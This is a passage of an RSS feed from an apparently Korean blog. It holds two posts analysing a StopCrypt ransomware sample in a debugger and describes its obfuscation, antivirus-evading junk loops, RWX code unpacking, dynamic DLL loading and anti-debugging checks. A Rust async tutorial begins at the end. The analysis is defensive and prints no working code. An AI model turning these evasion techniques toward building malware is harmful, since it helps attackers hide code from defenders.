  &lt;p&gt;중간중간 주소를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push&lt;/code&gt; 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt;하는 방법을 이용해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt;를 사용하는 루틴이 보입니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;모든 루틴을 마치고 나면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402BC4&lt;/code&gt;영역에 들어서게 됩니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;이후 비슷한 난독화 코드 루틴을 지나게 됩니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40124E : 0x401259]&lt;/code&gt; - 반복문을 돌면서 특정 행동을 수행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402C04&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt;문의 빈도가 줄어든 것을 보아, 본격적인 로직이 시작될 것 같습니다.
&lt;img src=&quot;/assets/img/posts/2023-02-25-2.png&quot; alt=&quot;0x402C04&quot; title=&quot;0x402C04&quot; /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push ebp&lt;/code&gt;는 정상적인 함수 도입부라 할 수 없지만, 여태까지는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; 이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt;명령어가 오는 등의 동작이 수행되었었습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402C30&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402B15&lt;/code&gt;함수 내부로 들어갑니다. 해당 함수 내부에는 정상적인 함수 도입부가 확인됩니다. (난독화는 그대로 남아있습니다.)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40124E : 0x401259]&lt;/code&gt; - 반복문을 돌면서 특정 행동을 수행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402B5D : ]&lt;/code&gt; - 정상적인 함수문으로 보입니다. 반복문이 보이는 것 같습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402B6B&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402A1A&lt;/code&gt; 함수 내부로 들어갑니다. 해당함수는 정상적인 도입부를 가지고 있습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402A62&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4011F5&lt;/code&gt; 내부로 들어갑니다. 제대로 된 함수는 아니며, 이후 공간에서 바로 SetErrorModeStub의 주소를 다루는것을 보아 난독화 해제가 거의 끝난것같습니다.
추가적으로, 실수로 건너서 진행을 눌러 오류가 떴는데, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402A62&lt;/code&gt; 바로 아래의 구문에서 오류가 나타난것을 보아 곧 메인함수가 실행될 것 같습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40124E : 0x401259]&lt;/code&gt; - 반복문을 돌면서 특정 행동을 수행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402A67 : ]&lt;/code&gt; - 반복문에서 빠져나간 이후, ntdll의 여러 함수 주소를 가져옵니다. 사용할 준비를 하는 것 같습니다.
&lt;img src=&quot;/assets/img/posts/2023-02-25-3.png&quot; alt=&quot;loop 이후의코드&quot; title=&quot;ntdll의 여러 주소를 가져오는내용으로 추정됩니다..&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402A85 : 0x402AA9]&lt;/code&gt; - 반복문을 통해 커널 내부 문자열처리를 하는것으로 보입니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40124E : 0x401259]&lt;/code&gt; - 반복문을 돌면서 특정 행동을 수행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402B80&lt;/code&gt; - (위에서 두번째 라인의 부분으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt;을 통해 돌아왔습니다.)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402B62 : 0x402B7C]&lt;/code&gt; - 커널 내부 문자열 처리를 반복합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40124E : 0x401259]&lt;/code&gt; - 반복문을 통해 특정 행동을 수행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402C35&lt;/code&gt; - 두 번의 연속 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; 이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt;를 수행합니다. 디버거가 붙어있는지 확인하는 로직인 것 같습니다.
&lt;img src=&quot;/assets/img/posts/2023-02-25-4.png&quot; alt=&quot;두번의 ret 이후의 코드&quot; title=&quot;test 이후 실패했으면 먼 곳으로 보내버립니다.&quot; /&gt;
해당 코드의 아래편에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt;문이 없는 데이터공간이 있었습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402CCA&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402D10&lt;/code&gt; 내부로 진입합니다. 해당 구역으로 진입한 이후에는 여러 문자열을 볼 수 있습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4029AC&lt;/code&gt; - 계속 진행하다보면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel32&lt;/code&gt;을 인자로 RtlInitUnicodeString 함수를 호출하는 구문까지 나오게 됩니다.
&lt;img src=&quot;/assets/img/posts/2023-02-25-5.png&quot; alt=&quot;kernel32문자열을 가공하는 모습&quot; title=&quot;RtlInitUnicodeString함수 호출&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4029C2&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrLoadDll&lt;/code&gt;함수를 호출한다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x4029C2 : ]&lt;/code&gt; - 해당 코드 이후 추가 처리를 통해 여러 라이브러리를 로딩합니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel32&lt;/code&gt; 이후 똑같은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4029AC&lt;/code&gt;에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user32&lt;/code&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LoadDll&lt;/code&gt;사용
&lt;img src=&quot;/assets/img/posts/2023-02-25-6.png&quot; alt=&quot;user32문자열을 가공하는 모습&quot; title=&quot;RtlInitUnicodeString함수 호출&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;여러 반복문은 커널 내부에 후킹이 있었는지 판단하기 위한 로직이 아닐까 추측합니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;해당 부분에서 동일한 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4029AC&lt;/code&gt;가 두번이상 호출되어, 호출스택을 확인해보니 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402D1C : 0x402D36]&lt;/code&gt;부분을 루프돌면서 여러 라이브러리를 로딩하고 있었습니다.
&lt;img src=&quot;/assets/img/posts/2023-02-25-7.png&quot; alt=&quot;루프문&quot; title=&quot;반복하면서 문자열을 복호화, 가공 후 Dll을 로드하던 부분, 실패하면 종료하는듯하다.&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;이후 추가 로직 처리 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402A67&lt;/code&gt;로 나오게 됩니다. (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402A62&lt;/code&gt;에서 설명한 주소입니다.)
&lt;img src=&quot;/assets/img/posts/2023-02-25-8.png&quot; alt=&quot;0x402A67&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402A85 : 0x402AA9]&lt;/code&gt; - 반복문을 함수 이름을 불러온다.
&lt;img src=&quot;/assets/img/posts/2023-02-25-9.png&quot; alt=&quot;반복하면서 함수 이름을 가져오는 부분&quot; title=&quot;반복하면서 함수 이름을 가져오는 부분입니다.&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;이후 계속 진행해보니, 함수 이름을 가져오는 부분을 반복하고 있었습니다. 함수 이름을 통해 함수주소를 가져오는 로직인 것 같습니다.&lt;/p&gt;

&lt;p&gt;호출스택을 통해 확인해보니, 반복문을 통해 해당 함수를 호출하고 있었습니다.
&lt;img src=&quot;/assets/img/posts/2023-02-25-10.png&quot; alt=&quot;반복하면서 함수 이름을 가져오는 부분&quot; title=&quot;반복하면서 함수 이름을 가져오는 부분입니다.&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;blockquote&gt;
    &lt;p&gt;해당 부분에서 키보드 오입력때문에 작업내용이 날라갔습니다. 이후 추가로 다시작성해야 할 것 같습니다.&lt;/p&gt;
  &lt;/blockquote&gt;

  &lt;p&gt;덤프 플러그인의 사용법을 잘 모르겠어서 파이썬 자동화 툴이나 스크립트를 만든 후 작업해야할것같습니다&lt;/p&gt;

  &lt;p&gt;특정 어려운 기법이 사용된것이 아니여서 계속 지켜보면서 감으로 스킵하는 수 밖에 없어보입니다.&lt;/p&gt;

  &lt;p&gt;해당 이후의 부분은 추후 작성할 예정입니다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Sat, 25 Feb 2023 06:24:07 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2_2/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2_2/</guid>
      </item>
    
      <item>
        <title>70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2</title>
        <description>&lt;h3 id=&quot;악성코드-해시sha256---70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2&quot;&gt;악성코드 해시(SHA256) - &lt;a href=&quot;https://www.virustotal.com/gui/file/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2/detection&quot;&gt;70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;악성코드-포맷---pe&quot;&gt;악성코드 포맷 - PE&lt;/h3&gt;

&lt;h3 id=&quot;악성코드-타입---ransomstopcrypt-microsoft&quot;&gt;악성코드 타입 - Ransom:StopCrypt (Microsoft)&lt;/h3&gt;

&lt;h3 id=&quot;운영체제---windowsx86&quot;&gt;운영체제 - Windows(x86)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;해당 분석을 정적 디컴파일러로 분석하려 하였으나, 해석에 어려움이 있어 동적 디컴파일러를 사용하였다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;x32dbg로 해당 프로그램을 연 후 main함수를 찾아간다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCurrentProcessId&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCurrentThreadId&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetStartupInfowStub&lt;/code&gt; 등의 API는 대부분 컴파일러가 작성하는 전처리코드에 등장한다.&lt;/p&gt;

  &lt;p&gt;코드를 스킵하면서 가던 중, ret으로 프로그램이 반드시 끝나는 구문이 오기 전의 call문을 찾으면, 해당 부분이 main에 해당한다.&lt;/p&gt;

  &lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-01-28-0.png&quot; alt=&quot;main을 찾아가는 이미지&quot; title=&quot;ret문 전의, jmp가 없는 곳의 call문이 main일 확률이 높습니다.&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;main함수에 들어가면 아래와 같은 의미없는 함수콜이 보이게 된다. 해당 프로그램은 본격적으로 RWX 가능한 섹션에 들어가기 전에 다음과 같은 구간이 많으므로, 각 섹션에 대한 설명만 하고 지나가겠습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-01-28-1.png&quot; alt=&quot;main 내부 불필요한 함수콜&quot; title=&quot;이상한 인자를 주며 함수를 호출하고 있습니다. 프로그램 내부에는 비슷한 내용이 많이 존재합니다.&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40378D : 0x40380F]&lt;/code&gt; - 조건문에 걸려 타지 않는 함수콜입니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x403827&lt;/code&gt; - 이후에 ret으로 프로그램이 종료하게 되므로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402EE0&lt;/code&gt; 함수를 진행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402EED : 0x402F97]&lt;/code&gt; - 조건문에 걸려 타지 않는 함수콜입니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402FAA : 0x403022]&lt;/code&gt; - 읽고 쓰고 실행할 수 있는 공간을 할당합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x403040 : 0x4030A7]&lt;/code&gt; - 계속 루프를 돌지만, 조건문에 걸려 내부의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40304B : 0x40309D]&lt;/code&gt; 영역의 함수콜을 진행하지 않습니다. 백신 속이기 용 무의미한 루프로 판단됩니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x4030D2 : 0x4036BD]&lt;/code&gt; - 할당한 RWX섹션에 실행할 코드를 넣고 있습니다. 루프때문에 몇 번 반복합니다.
&lt;img src=&quot;/assets/img/posts/2023-01-28-2.png&quot; alt=&quot;RWX섹션에 코드를 넣고있다 판단되는 이미지&quot; title=&quot;정적 디버깅을 방지하기 위해 코드를 내부에 포팅하여 넣어주고 있습니다. 해당 기능을 보아 프로텍터가 걸린 것으로 보입니다. (더미다로 추정됩니다.)&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4036DD&lt;/code&gt; - 해당 조건문을 통해 몇 번 반복한 루프를 탈출합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x4036F0 : 0x4036FF]&lt;/code&gt; - 의미 없는 함수콜(GetMenuItemID, LoadMenuA)를 반복합니다. 백신 속이기 용 무의미한 루프로 판단됩니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x403701 - 0x402E20&lt;/code&gt; 함수로 들어갑니다.
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x402E20 : 0x402EAC]&lt;/code&gt; - 조건문에 걸려 타지 않는 루프에 무의미한 함수 콜이 있는 것 같습니다. 백신 피하기 용 무의미한 루프로 판단됩니다.
이 때, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402C50&lt;/code&gt; 함수를 타 메모리 영역을 이동하거나 하는 것으로 보이나, 중요한 로직이 아닌 것 같아 패스하였습니다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x403707 - 0x402EC0&lt;/code&gt; 함수로 들어가나, 내부에 특별한 사항은 없습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x403714 : 0x403727]&lt;/code&gt; - 불필요한 루프입니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x403743 : 0x40378B]&lt;/code&gt; - 조건문에 걸려 내부 무의미한 함수콜을 타지 않는 루프입니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x4037A2]&lt;/code&gt; - RWX영역에 진입합니다. 이후의 영역 주소는 계속 변하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;이후 RWX영역에 들어간 후 코드가 실행됩니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-01-28-3.png&quot; alt=&quot;RWX 영역 내부 이미지&quot; title=&quot;RWX 영역 내부는 함수 두개를 호출한 후 끝나고 있습니다.&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;첫번째 함수 콜에서는 실행에 필요한 여러 라이브러리를 불러오는 부분으로 보입니다. 다만 코드의 길이가 길어 제대로 확인하지 못하였습니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;두번째 함수 내부에 들어간 후, 정상적으로 실행영억으로 볼 수 있는 부분이 나옵니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-01-28-4.png&quot; alt=&quot;RWX 영역 내부 두번째 함수 내부 코드&quot; title=&quot;CreateToolhelp32Snapshot 및 Module32First 로 현재 실행하는 프로세스를 가져오고 특정 함수 수행 후 종료하고 있습니다.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;해당 부분을 보면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateToolhelp32Snapshot&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Module32First&lt;/code&gt; 을 통해 현재 실행하는 프로세스 목록을 가져오고 특정 함수 수행 후 프로그램을 종료하고 있습니다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;위의 패턴을 보아, 해당 함수는 pid를 입력값으로 받아 메모리를 감지하거나, 조작하거나, 코드를 삽입할 것으로 예상됩니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;해당 함수의 내부는 다음과 같이 동작합니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A + 0x26&lt;/code&gt; - 특정 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[X1]&lt;/code&gt;함수에 들어가 무의미한 루프를 진행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A + 0x51&lt;/code&gt; - 새로운 메모리 영역을 할당합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A + 0x6F&lt;/code&gt; - 함수 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[X2]&lt;/code&gt;를 실행해 ebp를 조정합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A + 0x88&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp dword ptr ss:[ebp - 4]&lt;/code&gt;을 통해 실재 로직의 진행부분 B로 들어갑니다.
    &lt;blockquote&gt;
      &lt;p&gt;경험상 진행부분 B는 뒷자리가 0000으로 끝나는 것 같습니다.&lt;/p&gt;
    &lt;/blockquote&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x2B&lt;/code&gt; - 함수 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[X3]&lt;/code&gt;에 들어가, 특정 라이브러리를 불러와 사용합니다. 안티디버깅을 하는지 확인하진 못하였습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x33&lt;/code&gt; - 몇 줄 뒤로 넘어가 코드를 수행합니다. 다음 줄은 실행되지 않으므로 안으로 들어가야 합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x4C&lt;/code&gt; - 함수 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[X4]&lt;/code&gt;에 들어가 반복문을 도는 것 같습니다. 안티디버깅을 하는지 확인하진 못하였습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[B + 0x51 : B + 0x218]&lt;/code&gt; - 커널 라이브러리를 불러와 새로운 공간을 할당하고 특정 공간 할당을 해제합니다. 이떄 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TerminateProcess&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExitProcess&lt;/code&gt;를 실행하는 코드도 보였습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x21E&lt;/code&gt; - 함수 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[X5]&lt;/code&gt;에 들어가 에러모드를 설정한 후, 조건이 맞으면 프로그램 종료를 수행하는것으로 보입니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x233&lt;/code&gt; - 함수 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[X6]&lt;/code&gt;에 들어가 몇 기능을 수행합니다. 안티디버깅을 하는지 확인하지 못하였습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x24D&lt;/code&gt; - 새 공간을 할당합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x2E3&lt;/code&gt; - 새 공간 권한을 할당합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x306&lt;/code&gt; - 함수 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[X7]&lt;/code&gt;에 들어가 몇 기능을 수행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[B + 0x30E : B + 0x440]&lt;/code&gt; - 새 공간에 코드를 복사하는것으로 보입니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x443&lt;/code&gt; - 특정 공간 할당을 해제합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[B + 0x446 : ]&lt;/code&gt; - 계속해서 새 공간에 코드를 복사하는것으로 보입니다. 중간중간 진행한 안티디버깅의 결과에 따라 루프를 타는 것 같았습니다.&lt;/li&gt;
  &lt;li&gt;&lt;del&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x89A&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msvcr100.dll&lt;/code&gt;을 로드합니다.&lt;/del&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B + 0x91E&lt;/code&gt; - 실제 실행 주소를 호출합니다. (호출 주소는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40324C&lt;/code&gt;로 고정입니다.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;이후 부분은 해석하지 않았습니다.&lt;/p&gt;

&lt;p&gt;이후 부분을 확인하지 않고 실행해 보앗는데 충돌이 났었습니다. PID 1(SYSTEM)을 가져갔는데 권한이 모자라 프로그램이 충돌 난 것으로 보입니다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;자주 보이던 패턴이여서 프로텍터를 더미다로 추측하였습니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;다음-게시글&quot;&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2_2/&quot;&gt;다음 게시글&lt;/a&gt;&lt;/h3&gt;
</description>
        <pubDate>Sat, 28 Jan 2023 07:58:31 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2/</guid>
      </item>
    
      <item>
        <title>Rust - Task, Future, Context 사용법</title>
        <description>&lt;p&gt;Rust std 라이브러리를 둘러보면, 생소한 task모듈이 있는 것을 볼 수 있다.&lt;/p&gt;

&lt;p&gt;해당 task모듈에는 다른 모듈과 함께 작성할 수 있는 Context기능이 들어있다.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Context - 여러 작업의 시작 혹은 종료를 다루는 전반적인 플래그&lt;/p&gt;

&lt;p&gt;현재 Rust의 Context는 많은기능을 담고있지 않으며, waker() 메소드를 통해 waker를 받는 기능밖에 구현되어 있지 않습니다.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/rust-lang/rust/issues/87021&quot;&gt;Context.as_raw() 를 이용해 RawWaker를 받은 후, RawWaker.data()를 사용하면 원본 데이터의 포인터를 얻을 수 있는 것 같으나, 현재는 둘 다 nightly단계입니다.&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;전체 소스는 다음과 같습니다.&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::{&lt;/span&gt;
    &lt;span class=&quot;nn&quot;&gt;future&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Future&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;nn&quot;&gt;pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Pin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;nn&quot;&gt;sync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Arc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;nn&quot;&gt;task&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Poll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RawWaker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RawWakerVTable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Waker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

